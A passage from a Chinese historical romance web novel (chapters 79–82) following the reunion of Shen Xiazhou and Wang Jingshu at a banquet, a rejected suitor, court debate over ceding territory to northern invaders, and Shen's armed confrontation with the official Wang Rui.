郑七郎摄于沈三郎的气势,抱着不知是什么的贺礼阻也阻不得,硬着头皮令人为他加一坐。 王静姝远远瞧着从廊曼行来的郎君,目光一瞬不瞬,她已许久不曾见他,但见他玉冠银钩,袍袖若飞,身形那样修长,气质偏又那样冷冽。 王静姝很难去形容自己的心情,就像无论过了多久,无论眼前人变得怎么样,她都会被吸引。 她的心跳与呼吸在一片丝竹声中变得很静,可稍一转视线,却见跟在沈遐洲身旁的星泉竟瞪她? 她一时莫名,又忽听得身旁女郎的小声议论:“沈三郎的脸色是不是比往日好了许多,瞧着不太骇人了?” 有女附和点头。 王静姝知晓,沈遐洲的面皮向来是足够迷惑人的,女郎们也天然就会对病弱又俊美的郎君生出一分怜惜,但这份怜惜并不足以支持她们去接近沈三郎,毕竟沈三郎的身份尴尬,所做的事,又是真真将世家得罪完了。 一时间,沈遐洲坐下的周旁如隔空了一般,筵席之上的热闹好似皆同他无关,唯有不时指向他的议论,方证明着他的存在。 王静姝却向来不在意这些,起身迈步,径直坐至他案旁,偏腮唤他:“三表哥。” 她妆容明艳,裙袖委膝,眉眼轻轻弯起时,笑意带着些促狭与挑衅。 王静姝分明是在气他!她嫌他丑了不说,还故意引他来见得她同旁的郎君眉来眼去。 他分明见得,王静姝对在坐郎君的敬酒来者不拒,又同吕思温相坐对谈,她又开始了,又开始想选夫了。 他垂目一眼,满是同隽逸外表不符的阴郁戾气,好似恨不得往无状的女郎身上戳出两个洞来。 若说上一刻众人因女郎的一句“三表哥”,回想起二人还有这层关系,可这沈三郎的下一刻反应,便足以令人为女郎感到危险,有相近郎君甚至下意识拉了王静姝一把,将女郎拉离危险一些。 然这般动作的下一刻,便对上沈三郎要杀人一般的眼神,惊惧一瞬,挺身梗脖:“沈郎君,王娘子好意同你交谈,你何故吓她!” 沈遐洲死死盯开口之人拉着王静姝臂弯还不曾放开的手,心中满是忍耐不住的狂躁——他要断了此人的手! 王静姝陡地被人拉离,也有一瞬懵然,她怎可能被沈遐洲吓到,她分明是方才的靠近,发现沈遐洲面上竟敷了粉,才一时出了神。 王静姝心中不悦这郎君多事,可眼见沈遐洲面色愈发可怕,挣开了那拉着她的手,身形隐挡在沈遐洲面前。 沈遐洲眼尾勾红,眼底却透过敷粉泛出淡淡的青,他像强忍着什么一般,凄然而失望睨王静姝一眼,拂袖就走。 对沈遐洲这样阴晴不定又心眼极小的郎君,这般能忍地走,已不止是怒极了的表现。 王静姝心神一慌,隐觉同沈遐洲的这一面有点超过了控制,当即也不管旁人如何看,迈步朝筵席外追去。 她分明同沈遐洲差距前后不到几瞬的功夫,可也不知沈遐洲是如何走的,她竟一时寻不得人影。 她提裙登上高台向下逡目,身后有郎君泠泠透冷声音传来:“表妹在寻我?” 似回敬王静姝席间的那声“三表哥”,“表妹”二字被他咬得杀意汹涌。 王静姝才回个头,就有郎君满脸阴沉俯下脸:“王静姝你故意气我来,就是为让我看你同旁人眉来眼去吗?” “你这次又看上了哪个?” “吕思温?还是方才那个谢潘?”他越猜越难过,怒恨的声音中,竟带了几分哽咽。 王静姝反应了好一会,才想得他问的谢潘,怕就是方才拉她一把,在沈遐洲面前逞英雄那个,但她并不为此做回答,反顺势捧上了郎君的脸,目光极专注地在他面庞上一寸一寸移过,确认了地问道:“你怎敷粉了?” 时下一些男子为显面白俊美,敷粉也不算什么稀罕事,可沈遐洲自来多病的缘故,用不上这些,甚至有些厌恶这般敷粉的男子。 那敷粉这事发生在他身上便很是稀奇,且他眼下透出的青色,令她很是担忧。 沈遐洲也没想王静姝一开口便是过问此,更是怒得咬牙切齿:“王静姝,你就只见得我的面皮吗?” 他显然是再次忆及女郎那日夜里嫌他的话。 丑了二字就像生在他脑中似的,数日来也非是本心想避开女郎,可他实知女郎有多好郎君的好颜色,她对他本就是见色起意,若再令她当面挑出些毛病,可不更远了他? 连日来,他一面避着王静姝的主动寻上门,一面就连温补养身还有治病的药都喝了。 可女郎着实过分,她非逼得他立时来见,还是用这种他最见不得的方式。 她同旁的郎君饮乐、还挡在旁的郎君身前同他对峙,刺目得如有利刃翻搅他的五脏六腑,再多待片刻,他怕是会疯魔得杀了在场之人。 他眉目低敛,脸却如鬼白,眼底透青更是森寒。 这才是毫不掩饰的沈三郎—— 王静姝无比确定,也无比地无畏,她甚至还笑。 高台外渐有风起,吹得她腮畔发丝飞扬,也扬得她声调柔缓似诱:“我哪有只见你面皮,我是忧你可有好好休息?” 她又问一次:“沈九如,你有好好休息,好好吃饭,按时喝药吗?” 她的声实在太过柔,感受不到半分旁的意味,唯有温情,沈遐洲本盛满怨恨阴戾的眼眸,忽地闪烁,不敢对上她的眼。 第80章 第80章原来我比你还坏。 在王静姝不在的日子里,沈遐洲时时都在盘算着杀人,盘算着怎么报复所有参与逼宫和背叛之人。 有时杀的人多了,他会麻木无感到,平日里都分不清立在他跟前之人是不是该杀,他夜里也常常睡不着,控制不住地去盘算,去推演如何令人落马再方便他出手。 他清楚知晓自己在偏离常人的轨迹上越行越远,皮囊下更是仿若被精怪鬼魄寄生的苍白灵魂。 可女郎的问询,却在一瞬将他从阿鼻地狱拉入人间。 她将他看做常人一般关怀,为他注入名为生的气息。 这样的女郎如何不令人爱? 沈遐洲睫毛抑制不住的颤动,一双微润的眼眸,只能看到王静姝,他无比清晰地意识到,他需要女郎,也无比地渴求女郎身上的温度。 没有任何缘由,也没任何前兆地,他俯脸亲吻女郎。 王静姝一眼便知,沈遐洲定然是没有好好照顾自己,可当他俯脸亲来时,她却也不曾拒绝,她的身体快过意识,仰脸同他双唇相碰。 许久不曾有过的碰触,过电般的酥麻自柔软唇瓣处漫至彼此全身,魂骨都好似跟着一同震颤。 沈遐洲一揽她后腰,力气变大,加深了这个久违的吻,王静姝也不由仰起颈,接收来自他的灼灼气息。 隔雾一般的记忆在加深的碰触中,渐变得重新熟悉,也令他们亲吻更甚,沈遐洲面色不再苍白,沾欲般染着红,女郎的身子也再不够支撑,张臂揽他后肩,直至她再攀不住,二人才迷惘又流连地分开。 天色也不知是何时变的,山雨欲来般阴沉,可抬头的女郎与低头的郎君鼻息相错间,唯有不散的旖旎春情。 沈遐洲不舍般追而亲啄女郎,女郎气息不稳地偏了头,颌无奈落至她肩头,可他仍不甘放过,鼻尖挑弄般轻碰女郎细颈,喷出的鼻息与触碰直招得女郎微绷了身子,被他掌着的腰身更是弯起一弧。 一声如烟轻吟自女郎的喉间溢出,王静姝明显发现彼此身体的变化,强硬无比地分开二人之间的距离。 徐徐拂来的凉风挤入他们分开的距离,缓缓将潮动平息,可王静姝再抬眼,却见明明先无状的人反先忸怩不好意思起来,耳尖溽彩一般的红,一瞬将王静姝拉回了她熟悉的郎君。 沈遐洲一贯好看,即便这年来的经历磋磨得他瘦削疲惫,可在王静姝看来,她喜爱的郎君,就是有能令人一点点觉得他重新好看起来的魔力。 她看得专注,瞳仁中映出的光清透璀璨,沈遐洲喜欢她的视线,只一眼,他就知道,女郎仍旧喜爱他,那句或连女郎自己都不记得的“丑了”,也暂被他揭过。 他们凝望彼此,像是很久的才寻回各自的声音,沈遐洲垂着眼,说话很轻,微弱的调子险些被忽至的雨冲散。 可王静姝还是听清了,他问的是:“卿卿,你为何要来?” 噼啪的雨落溅至高台瓦楞雕栏,也溅至他们被风扬起的袍角,点点凉意透衣,然沈遐洲还来不及感受这点凉意,便被女郎倾身勾手拉一下,他踉跄得同她近得几近贴面—— 女郎仰脸望入他眼地笑,笑意清冶如狐,微张微湿的唇瓣悠缓吐字:“我为你而来。” 这已不是王静姝第一次同她说这话,可她总是那般的恰到好处,恰好到如给濒临之人一滴水,也极恰到好处地抚慰他干涸的心田,他望着女郎忽地几欲再生冲动。 但他明白不能再继续了,只无比眷恋温柔将女郎腮畔的发拂至耳后,欲缩回手时,女郎却抬臂覆住了他的手,她的脸贴着他的手心:“沈九如,你应知道我这几日都见了什么,听了什么?” “所以都是你做的吗?”她掀眼,凝起的目色光艳夺人。 沈遐洲唇抿紧,面容霎时寒如 冷玉,正是因一直暗中关注女郎,他知女郎问的到底是何意,她是在问,洛京的佛事兴盛与五石散盛行可是他在推动?或者还有扰动边防的战事可也有他的手笔? 沈遐洲凄然而失望地后退,他无时无刻不在期望着大绥乱吧乱得更彻底,可这种晦暗冷漠的心思,他不知女郎是否会瞧不起。 或是瞧不起的吧,就如当初他折磨宋女郎被知晓那般。 他黯然地想。 但任他如何颓丧,王静姝却不容他退,她执拗又大胆,想知道的就定然要清楚,覆在他手背上的手,死死追着他的退步而去,握着他。 沈遐洲无法,退至再无退处的雕栏处,神色都笼着阴冷厌倦,飞溅的雨水打湿他的衣襟鬓发,整个人都不似在人间的苍白,“卿卿,我若说都不是我做的你信吗?” 他漫声似喃,语调似难过,又似藏有隐晦的开怀,难过女郎应不会信他,他不曾引入外敌,也不曾推动佛事兴盛,他只是比旁人更早得到些消息,发现了苗头,他只是多杀了一些人,然后冷眼瞧着的事态一步步发展。 陈雍比他想得还在乎千方百计得来的位置,陈雍可以为了稳固自己位置推出任何法令,也可以变本加厉地放纵党争…… 他几乎不用做什么,一切就在往覆灭的道路上走,而他置身于这种几乎自毁的王朝,本性中的阴鸷冷酷显现得淋漓尽致,他在同这个王朝一同下地狱,他控制不住地想摧毁,甚至自毁。 扭曲疯狂的念头常据了他满腔满脑,他常需杀人来泄愤,来抑制住更邪恶的念头,他不敢过频给女郎去信,怕女郎从中察知他的疯狂。 可女郎现在就立在他面前,问可是他做的,比起承认与否,他更怕的是将自己的阴晦黑暗剥呈。 他自来敏感多思,对女郎患得患失,他常觉得在女郎的心中形象不好,努力如常人一般再同她接近,可越接近,他便如耀阳下被扒开的石块,一览无遗的潮暗。 他不经颓丧,目中也似覆着浅淡烟雨般没有神采。 他偏着侧靥,唇淡得没有血色,似做好了被女郎质疑审判的准备,可王静姝哪里是什么有道德标准的女郎,她准则常因喜好一再改变,她甚至抑制不住地发笑,目中光彩肆意张扬,嫣唇笑靥在大雨蒸腾起的雨雾中,既芳华遍体,又显出些不输于他的癫狂。 她道:“沈九如,原来我比你还坏。” “我原觉得是你做的也无妨,大绥乱了便乱了,他人生死同你我何干?王朝国运又同你我何干?” “该死的人便都去死好了。” “我唯愿你身体康健,挣出樊笼。” 这种无仁无义几乎不讲礼法的悖言,她轻易就能说出口,沈遐洲凝着她鲜妍的唇,只觉心脏狂跳,血液都在沸腾。 王静姝一声惊呼,陡地被郎君拥入了怀,同之前的亲吻时的相拥不同,这次的怀抱更紧密,她的腰肢都有些被掐痛,像是要将她融入骨血一般的用力。 她被迫贴在沈遐洲胸膛,听着他咚咚心鼓,慢慢就平静了下来,那是同郎君苍白面庞相违的有力,很是令人安心。 她听见自头顶传来的声音道:“最晚来年三月,我必能离洛。” 王静姝有些惊讶,想抬头看看他,却忽地有一阵急促的脚步奔来,那脚步在离他们有些距离的地方停住。 星泉甫一撞见相拥的郎君和王娘子,猛地背身提醒:“郎君,那郑七郎见变天,遣人来寻了。” 其实从王娘子抽身离席就有人担忧欲跟上,是郎君将人打晕然后瞧着王娘子四处寻他方出现,后更是他为令郎君与娘子有多谢独处的机会,将寻来的仆从引开了,可下了雨,又几人离席不归,主家的郑七郎自然要过问,一连遣了数批奴仆出来寻。 他瞧见之前被郎君打晕的那位都在污泥里被寻着了,这才急急奔来提醒。 沈遐洲王静姝二人似也想起这是旁人的别院,并不容得他们太过肆意,自然地分开后,王静姝面上难得得带上了几分赧然,而沈遐洲却是不悦更多些,尤其是女郎竟开口让他先走。 他确该走,他不请自来,筵席上更是格格不入,此时也更没必要再同女郎一同出现,引得不必要牵连。 可一想女郎在筵席上纤丽明华,被年轻郎君女郎围坐也游刃有余的模样,心中不住地泛酸。 王静姝理了理有些潮乱的发丝,也不管还在兀自别扭的郎君,举步要走,手心却忽地被勾一下,那别扭又好哄的郎君用阴恻恻的嗓音威胁她:“卿卿你莫同吕思温离太近。” 王静姝不由一愣,唇角漾起一抹很轻的笑意,脚尖也跟着踮起将唇送至郎君的耳畔,极其挑弄地回他道:“嗯,我只同你这般靠近。” 她动作极快,旋身如蝶一般裙尾便已从他视线中飘过。 星泉一直偷眼在瞧,只见郎君一直痴眼瞧王娘子离去的方向,心中不由暗叹,果然有王娘子在,郎君都变得不那么阴沉,浑身都有生气了。 也不禁更同郎君同仇敌忾,甚至有些恼恨先前伴郎君入席时,不曾多瞪眼一些王娘子身旁的吕三郎,怪他为父作伥,竟还妄图同他们郎君抢王娘子。 沈遐洲并不在意星泉在想什么,直望女郎在寻来的仆婢撑伞下入了雨中,再瞧不见身影,才至高台柱后走出,淡声道:“走吧。” 他道来年三月能离洛,非是见了女郎一时急言,陈雍欲将他困死洛京,可洛京还能安稳多久,谁又能知晓呢?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章剧情 王静姝回了筵席,对那位晕倒在泥水里的郎君很是表示同情,继而道在别院迷失遇雨,也沾湿了衣袍不便久留,便辞了郑七郎。 密雨迷烟,云岫朦胧,女郎身姿一如来时一般娉娉袅袅,可正是盛美极了的女郎,才更令人心生惋惜,有人惋惜能虏获美人芳心的不是自己,也有人惋惜这般鲜活女郎或会枯萎在洛京。 换了太平年里的各种大祭,是人都愿参祭,可这年来的各种乱动还少吗?王娘子却偏在这时被点为其中极关键一员。 万一在祭天大典后,边关亦或是哪处又传来些天灾人祸的不好消息,那王娘子就是首当其冲要被拉出挡祸,息众怒的冤桶之一。 连罪名他们都给想好了,诸如“祈愿不诚,天神降怒”、“妖孽附体,祸乱朝纲”…… 大绥自来重祭祀,有“国之大事,在祀在戎”之说,《礼记礼运》中也有言“夫礼,必本于天,肴于地,列于鬼神”…… 可见祭祀从来都是同国运与帝王相关联的,然则,帝王又岂会将错往自己身上揽? 那错的必然是旁人,惹天怒的也定是参祭参办之人 。 有知其中猫腻的女郎甚至为王静姝生出了几分不忿,她们早前没少对那寒门武将之女的陶然嗤之以鼻,可一朝间,陶然之父在朝中变得举足轻重不说,她本人也从装神弄鬼的神女变成了天子宠妃。 曾得罪过她的女郎更是没少被召入宫中陪侍,多受到些不公的欺凌。 而王娘子为何会再次入洛,为何忽地被指为祭舞主祭,听闻也同陶然脱不开关系。 只王娘子又有些幸运在身,那陶然染病至今未好。 一时间,筵席之上诸人皆有些感怀,吕思温更是也起身道了告辞。 马蹄飞踏,有年轻郎君冒雨追赶女郎车驾。 “王娘子——” 年轻郎君清朗中气的喊声穿过雨雾闯入王静姝耳中,她识得这个嗓音的主人,示意赶车卫士停下。 急促的马蹄在快靠近车驾时缓了下来,女郎也掀帘向外望去,只见一年轻郎君衣发皆湿,胯下骏马鬃毛也不住滴着水,可他仍旧岿然,平稳驭马上前。 是吕思温—— 王静姝显然被他追来的模样惊到了,连忙遣卫士上前送伞。 吕思温却只抹了一把脸,先同王静姝道:“六娘,你我相识一场,昔日性情也颇为相合。” “你如今可还愿意予我机会?” 他本就是意气风流的少年郎君,此刻双目炯亮,赤诚得王静姝都略有些失神。 她知吕三郎说的机会是指何意,昔日她肆意撩拨的郎君又岂是沈三郎一人?她为吕三郎践行送别,许他若早日平叛归来,或还有追慕她的机会,可之后发生的诸多事,她早已同吕三郎言明她中意之人。 吕三郎也非是放不下之人,可他仍此追来,不用细想,便已知用意,他是想用他吕相之子的身份帮她避开诸多麻烦。 王静姝轻轻摇了下头,道:“清游,我已知你好意。” 吕思温望她,心间悄然划过一抹怅然,却并不感意外,他只是想再试试罢了,论相貌品性,他并不觉输于沈三郎,论能力,他或差一筹,可相较他们如今的境遇,沈三郎或一辈子再无出头之日,也或就此被困死洛京,然而王娘子选的仍不是他。 明明在王娘子追着沈三郎离开筵席便知的结果,可到此刻他方彻底死心。 怅容不过一瞬,吕思温立即扬笑一下,做出轻松姿态:“罢了,六娘你开心便好。”他拒了卫士送上前的伞,扭转马头又道:“六娘,你我相交一场,若有用得上上我之处大可来寻我。” 他再拍马一下,已驰出许远,清朗的声却似乎还回荡在雨中。 王静姝微微笑一下,放下车帘。 * 是日,宫廷殿中炉香徐徐,陈雍高坐上首,下侧垂立几位大臣,气氛算不得多好。 几位大臣方经过一番激烈争吵,北蛮慕容部族已侵入大绥国土,幽州诸郡百姓罹难奔逃,流入周边各州郡。 当然,这还不是诸人争吵的原因,而是慕容部族首领慕容耿送来了议和书,上书仰慕大绥,愿归顺大绥天子,但前提是幽州要割地于他,封他为辽王。 陈雍召诸人前来,便是为商议是否接受慕容耿的投诚。 有忠正之臣道慕容耿分明是狼子野心,欲麻痹大绥防备,也有奸妄之臣觉接受提议未尝不可,这些难受教化的蛮人,也来投我大绥,不正是天子御下四海归一的象征。 说出该话的大臣,接连收到四方侧目,打了败战被索要土地竟也能转为对天子的夸赞,或激愤或暗藏思量的朝臣皆是因他一滞。 夸得太过,就连陈雍面上也不太好看,他抬手,缓了缓才道:“今日便暂议到此,朕再思量思量,退吧。” 诸臣拱手告退,背身时眼风相扫,明显泾渭分明的好几派。 吕相鬓发灰白,退出大殿后,直起的身形仍旧矍铄非常,微微冷笑望着走出诸人,他也算是看出今上的态度了—— 陈雍意动了。 这群蠢货! 割地封王,无异饮鸩止渴,往后谁人打入了大绥,岂不是都可向朝廷要封?国威何在? 陈雍不会不知道这一点,可仍旧意动了。 天子分明是在防他! 毕竟幽州已失,再议夺回,必然兵戈再动,兵戈一动,京畿还能万无一失吗?谁能保证逼宫不会再发生? 天子是怕昔日由他主导的逼宫再现啊。 可那场宫变到底是谁利用谁多一些,谁又获利最多,早已不言而喻,吕相只恨一时心急错选了陈雍,以至落于现今这般进退不得的境地。 忽地,他目凝向慢他数步的大司农王瑞,以王瑞为首南地世家的强势闯入,吕相没少感受到其压力,偏王瑞此人狡诈,处事圆滑得紧,常不声不响地将他同陶敬所争之职谋到了自己人手中,不可小觑。 换了往日,二人皆是皮笑肉不笑地各自离开,可今日却同时从彼此的眼中看到了释放的善意,都是千年的狐狸,闻着点腥就知该给自己留退路了,二人和气地并行了出宫的一段路。 比起吕相,王瑞本家皆在江南,又兼有王静姝带来的荆州同盟消息,自是更沉得住气些,同吕相一路不咸不淡的话下来,半点真意不露。 只眯眼含笑说着无关紧要的话,直至目送吕相先上了马车,才敛了笑,心中冷然:想同我王氏分一杯羹,也要先拿出些诚意来才是。 如今可还不是时候,慢等着吧。 王瑞一敛袍袖也上马车离开。 但一连几日,王瑞都因此被召入宫中商议此事,他协同度支尚书将国家财政与仓癝赋税呈上,便再不多话,垂目敛神细听着众人的商议。 大绥国库属实算不得丰,便是新增税收,也才施行下不久,且即便百姓被盘剥五分,最后经层层官僚大族之手,入国家仓癝的也早已大打折扣。 所有呈表都指向一个致命的事实,大绥经不起长久战事的损耗,再则,真正的将才寥寥,也多是人舍不得动摇自己的根本。 王瑞略抬一眼,扫向面沉帝王,又扫向诸多唯诺朝臣,就连曾以悍勇著称的陶敬也不例外,他是最坚实的保皇派,若他亲领兵同蛮族奋力一搏,也非是无把握驱逐蛮人。 可必然要暂退出坐稳的京畿重镇,且陶敬同北蛮等部族大大小小交手多年,最知同其对战的难处,只可驱逐难以根除,一旦被其退入辽阔草原,战线必然拉长,再则,夺回的郡地,也定然早已如蝗过境,粮草也定需仰仗后方。 他的后方可不是什么同他一心的,此战于他唯害无利。 他的一切都来与帝王,而他也是帝王最大的依仗,不战是巩卫帝王,留存实力的最优解。 在诸臣陈表后,终是议出了不战的结果。 一切被粉饰得尤为堂皇,是为止戈养息,是为百姓安宁,是为接受教化异族…… 他们的这位帝王,是真把自己看得尤为重要啊。 王瑞不知是觉悲还是觉喜地叹一声,就要踏出殿门,却被一个小黄门追上:“王公,陛下有请。” 王瑞沉吟,却并不意外,带笑跟上小黄门。 略等片刻,又得见天子。 陈雍似是疲了,已换上了常服,但腰下天子的金绶玉环却一应齐整,他面上光洁如玉,玉冠束发,除眼底时隐时现的阴翳,倒是龙章凤姿。 陈雍赐座,道:“王卿不必拘谨。” 王瑞应是,但无论是姿态还是面上都仍显谦恭服从之态。 陈雍瞧在眼里,心情好上几分,王瑞显然是同吕相一流不同的,若非王瑞的主动投诚,他还一时难以平衡朝堂,再开口唇已带笑:“近来朝中议事频多,朕多有忽略王卿,你府中六娘已入洛有些时日了吧?” 王瑞忽地跪下请罪:“得陛下看重,六娘得以入洛参祭,然六娘顽劣,不日前同人赛马伤了腿。” “是臣不愿六娘失了这个机会,暂瞒了此事。” 第82章 第82章你定亲了,夫郎不是我。…… 陈雍沉下脸,怒意在心底积攒,他已是天子,合该富有四海,世家臣服。 可事与愿违,内忧外患,就连他想要一个女郎,也不得。 他已给王瑞数次献上女郎的机会。 陈雍盯视王瑞发顶,一瞬闪过诸多念头,疑心王瑞诓骗于他,可忖片刻,又觉不该,王瑞此人一心想领王氏挤入一等世家,不献女,怕是所谋不止一夫人之位。 如令王娘子为他皇后,倒也不是不行,但前提是王瑞到底能对他尽几分的心? 陈雍不是看不出,王瑞从未彻底同吕相一派系世家撕破脸,微妙维持着一种平衡,他虽也从中得益,但总觉不够,他已忍吕相多时。 一抹阴狠 自他眼中飞快闪过,语气却已经转圜许多,令身旁内监扶起王瑞,再次赐座,问:“六娘子伤的可重?” “六娘自来擅于骑猎,臣暂令她告假太乐署,也是期六娘能尽快好起来,府医诊后,道六娘勉强能赶在大祭前养得差不多。” “然陛下问起,臣实不敢再隐瞒,也不敢令六娘再参祭。” 王瑞实会说话,他面上惶恐,可话里话外之意,皆在表明王静姝是愿参祭的,只伤着定然是不能再日日去太乐署,她既不能练习,又无法保证能在大祭时好全,陛下你还敢令她领祭舞吗? 陈雍确犹豫了,他也非是需要王静姝参祭,不过是寻个由头将躲在建业的女郎请至洛京而已,至于陶然是否有旁的心思,王静姝又是否真的能参祭,皆不甚重要。 他微微扯了唇角,笑着安抚惶恐不安的王瑞,“朕遣个宫中医官同你归家替六娘子诊治一番,若实是不能参祭,便罢了。” “王卿也莫要思多虑,朕同六娘子往日也颇有交情,待她伤好,朕再召她入宫叙旧。” 王瑞对帝王的关怀,甚是感动,一时很是君臣相惜。 待再出了宫门,王瑞身侧已领了一个医官。 然则,上了马车,他眼底早已清明一片,愿为帝王肝脑涂地的感动也早已不复,他知,帝王礼贤下士之态,皆为需用他,甚至觉得他还不够用心,所以才需笼络。 可南北世家再对立,那也皆是世家,陈雍为培植自己势力、扳倒吕相所再继自长公主的法令,损的又何止是吕相一方的利益? 他再尽心,也不过是天子的驱虎吞狼中所驱的那只“虎”罢了,至于驱完狼,那是不是就该走狗烹了? 他实有野心,也欲使王氏再为超一等的世家,但久等多年的机会,也令他极为谨慎,比起将所有注压在帝王身上,他更愿自己手中留有更多的筹码。 他本质便是个欲用手中筹码多方**的精明政客。 王瑞想着事,多方衡量着得失,马车已至大司农府,遣奴仆引医官去为王静姝整治。 王静姝的确伤了腿,且不轻,冬至一日日近了,她一直想着大伯会如何帮她摘出来,万没想到竟是在王闻俭邀她赛马时动了手脚,像是存心给她个教训,半分没有留手的意思。 医官来时,她正嘶着气养伤,也没甚好作假地由医官看过后,得了同府医大差不差的结果。 伤的不算特重,但祭舞她决计是领不了的了。 直至送走医官,王静姝才觉自己受伤的时机很是合宜,过早没必要,指不定要伤得更重,过晚又显得刻意,且易容易落个不吉的牵连。 此时正正好,冬至的祭天,任是后续出现什么不好的结果,也牵连不到她身上,如此想,腿处的伤疼都能压下些。 但到底难受,夜里翻身都多有不便,睡得也不踏实,隐约间似还听得了些前院的动静,卫士在奔走着些什么,但她实懒得理会,翻身继续睡去。 * 因沈风眠与王闻礼的存在,也因王静姝也出自王家,沈遐洲再恼王氏的见风使舵与落井下石,也始终尚存理智,对王瑞留有余地。 可此刻持剑招招狠辣,竟像是冲着直取王瑞性命而去的,他也非独身前来,他的暗卫暴露在了王瑞眼皮下,隔开了大司农府的卫士。 王瑞被几个近卫护着不断往房中退,可不断扫来的剑刃寒光,还有接连被挑倒在侧的卫士,伤处汩汩冒着的鲜血,无不表明着来人对他的杀意决绝。 直至最后一个挡在王瑞身前的卫士被来人当胸一剑拔出,滴血的刀刃架在了他肩处。 是的,肩处,同脖颈隔着寸余的距离,却带着下沉的力道,既威胁挑衅,又有些不屑杀他的漫然。 而这时,王瑞也在一臂不到的距离中,认出了来人的眼睛,这双眼年轻阴冷,肆意杀气下夹杂着毫不掩饰的怒意厌恶,他分明能一招取了自己性命,但却没有。 王瑞能至青年时掌舵王氏起,自也不是能轻易被吓退之人,他不畏死,甚至刀剑架在他脖上,他脑中也不过是一瞬闪过,几个弟弟可能继承他的遗志? 此刻认出了来人,更是不失家主的气度,沉声:“贤侄既来做客,何必这般大阵仗。” 说着,他甚至做了个挥退的手势。 王瑞落于下风的卫士虽有迟疑,但刻在骨子里的服从令他们先后停了手。 沈遐洲冷笑一声,没有反驳,也没有被认出不安,只压在王瑞肩头的剑刃向他颈侧一挑,刀刃的冰冷贴至王瑞跳动的颈脉。 淌下的血迹一时分不清到底是刀刃上带的,还是真的划破了颈脉,唯有腥潮的血味充斥鼻腔,折磨着人敏感的神经。 王瑞在一点点感受死亡迫近的同时,也终是颠覆了往日对眼前年轻郎君的认知,沈遐洲眼中不断凝起的疯意,还有所带的卫士,皆是在向他显露不再藏的实力,也是在告诉他—— 他是来杀他的,且也不畏杀了他。 但王瑞是何等的心性,即便到了这时也是十足的野心家,他在转瞬的功夫厘清王沈两家的恩怨,沈氏出事并怪不得他王氏,长公主的死便更怪不得王家,真能称得上错的,也无非是道义上的凉薄。 沈三郎既有这等实力,但同在洛京许久,都不曾见他出手,那必然另有所谋,今日前来怕也非是昔日的恩怨促使。 王瑞沉静道:“贤侄,你我两家多年姻亲,纵然我王氏多有对不住你之处,可其中恩怨,又岂是轻易能说清的?” “你我如今皆困于洛,你有所谋,我也有所图,何不放过彼此?” “今日我也可当做不曾见过你。” 王瑞目光泰然,所言皆意在同沈遐洲表明,两家姻亲不是不可修复,王氏可弥补,且今日之事他也能不计较,甚至对他在洛京所藏的实力也可当做不知。 但退一步之余,又不乏威胁,这是大司农府,沈遐洲若仍旧不收手,鱼死网破也不是不可,端看谁人损失更大了。 沈遐洲扯下遮脸覆面,唇角凉凉扯动一下,苍白面庞满是对王瑞的讽刺:“王公好才能,到此也不忘同我谈条件。” 沈遐洲略一停顿,手中剑刃贴着王瑞皮肉般更刺向前,嗓音更是悠缓平静,“可若我偏不愿放过彼此——” “王公当何如?” 年轻郎君眸底的赤红扭曲,王瑞有一瞬恍惚,惊奇病弱闻名的沈三郎竟是这样的,这一瞬的惊奇,甚至让他忽略掉脖颈蜿蜒而下的血流,他从沈遐洲身上看到一直等待的可能,一种名为再次破开局势的可能。 这世上便是有王瑞这种极端的政客,他的野心抱负能胜于一切,他能在丹阳王蠢蠢欲动时,就愿以族中女郎做最小的牺牲,令丹阳王有南地世家拥护的错觉,助长野心;也能在局势颓倒一片时,适时投向新帝。 而此刻,他便是在沈遐洲身上,再次看到了大绥局势改变的可能。 他这种不折不扣的野心,又何尝不是一种疯? 他以手推开沈遐洲的剑,深拜一礼:“我愿领王氏一族,囊助郎君,以重修两族旧好。” 沈遐洲面无表情收剑,对王瑞这种见风使舵的转向,并无惊奇,他早就见得此人狡猾,也乐见得王瑞搅入党争,然他唯见不得王瑞利用女郎,也难以忍受王瑞对女郎的伤害。 沈遐洲怒意肆涌,握剑的手用力得筋络异凸,他一直在强忍着一剑结果了王瑞,他想知王静姝到底和王瑞私下达成了什么协议。 王瑞昔日就曾想将王静姝送与丹阳王,如今没道理在各方都期待陈雍子嗣的时候,反突然良心发现爱护起侄女了。 沈遐洲也不信女郎给出的解释,荆扬两州的联结确是够吸引人,但她拿什么令王瑞这样谨慎狡诈之人信服? 什么才是除共同利益外最可靠的联结—— 沈遐洲隐隐有个猜测,也疑王静姝瞒了他,他不会逼王静姝说,但不代表不会逼王瑞, 也不代表他能放过王瑞对女郎的伤害。 他毫无顾忌地闯入王瑞居所,压倒的卫士,即便王瑞不让人停手,也很快会在他掌控下。 沈遐洲也一直有独身离洛的实力,但他需要更多的时间,更多给沈二郎成长和强大的时间,他要护住的从来不是他独身,所以他一直心甘留在洛京。 而他向王瑞展示的便是,连同他背后可能性的实力,他与陈雍不死不休,已有乱象的北方,再加个重崛起的沈氏,会如何? 王瑞作为一个不信任陈雍,又难跳出与吕相、陶敬平衡的野心家,不会看不出巨大危机下的机遇,也很难不心动。 故而,沈遐洲对王瑞忽然的转态一点也不惊奇,他只是控制不住厌恶的心理,控制不住想杀了王瑞。 光是控制杀意就已用了沈遐洲所有的意志,他抛了剑,盯着王瑞失血又沉眼算计什么的容情一瞬,嗤声:“两族重修旧好,可以,也不可以。” 王瑞回神,听出沈遐洲语中的不以为意,他再次打量眼前的年轻人,苍白削瘦,文弱面皮若不去瞧那双冷冽漆黑的眼眸,倒很是肖似乃父沈照,但他们是决然不同,他能瞧出眼前的年轻人,毫无悲悯良善,也毫无宽和容人。 两族是否再修好,眼前的年轻人也根本不在乎。 那他在乎什么?寻来到底为何? 许是因失血,王瑞深思得恍惚,竟直问出了口:“你要什么?我的性命吗?” “我还是奉劝郎君步子有时不要迈得太大。” “京畿可还在当今天子的掌控之下,你当死了一个大司农,你能不被察觉吗?” “还是你当真有把握逃离洛京?” “郎君就不考虑考虑你沈氏余下的血脉?” 王瑞本就是习惯了作为上位者掌控的一方,便是一时恍惚,也能转为对沈遐洲的试探,试探沈遐洲的底线和态度,试探他的弱点,试探他是否能有令王氏再同他修复旧好的价值。 沈遐洲目中红血丝冷戾,掀眼望人更是扭曲摄人:“大司农莫要一再激我。” “我不杀你,你我皆知为何。” “告诉我,你王氏以什么为联结荆扬两州的凭证?” 王瑞没想沈遐洲竟连这种隐秘极了的事都知晓,目中惊讶飞闪,但又很快镇定,现下的大绥,稍敏锐些的谁不是各怀心思,各如守财奴一般地据着自己的依仗? 